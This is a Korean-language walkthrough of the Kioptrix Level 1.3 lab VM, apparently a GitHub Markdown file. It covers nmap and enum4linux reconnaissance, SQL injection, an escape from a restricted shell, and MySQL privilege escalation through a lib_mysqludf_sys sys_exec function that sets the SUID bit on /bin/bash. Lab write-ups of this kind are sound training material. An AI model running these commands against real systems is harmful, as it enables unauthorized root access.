Skip to content

Latest commit

 

History

History
54 lines (48 loc) · 2.57 KB

kioptrix: Level1.3 .md

File metadata and controls

54 lines (48 loc) · 2.57 KB

Kioptrix : Level 1.3

targetdiscovery


nmap -sn 192.168.25.8-255 --open

1

enumerate + exploitation


target: 192.168.25.17

nmap -O -sV -sS -p- 192.168.25.17

2
Samba 를 이용해보자

enum4linux 192.168.25.17

3
john 을 이용한 sql injection으로 비밀번호 알아냄
4

john으로 ssh로그인

echo os.system('/bin/bash') 로 제한적인 쉘에서 벗어남

privilege escalation


ps aux | grep root | grep -v ] 로 루트권한으로 실행중인 서비스 검색
5
mysql 이 실행중이다
cat /var/www/checklogin.php 에서 mysql에 관한 정보를 얻었다
6

mysql -u root -p

root로 mysql로그인
7

show databases;

8

use members;

9

select * from members;

10
기껏 찾았는데 알고있는거였다..
mysql에서 root권한을 얻기위해 아래 있는것들을 쳐주자
mysql> use mysql;
mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
mysql> select sys_exec('chmod u+s /bin/bash');

ls -a /bin/bash
ls -l /bin/bash
bash -p 를 실행하면 root권한을 획득한걸 볼수 있다...
11

root획득
꼭 이방법만 있는것은 아니다.


mysqludf를 이용해서 권한 상승
sys_eval 임의의 명령 실행하고 출력반환
sys_exec 임의의 명령 실행하고 종료코드 반환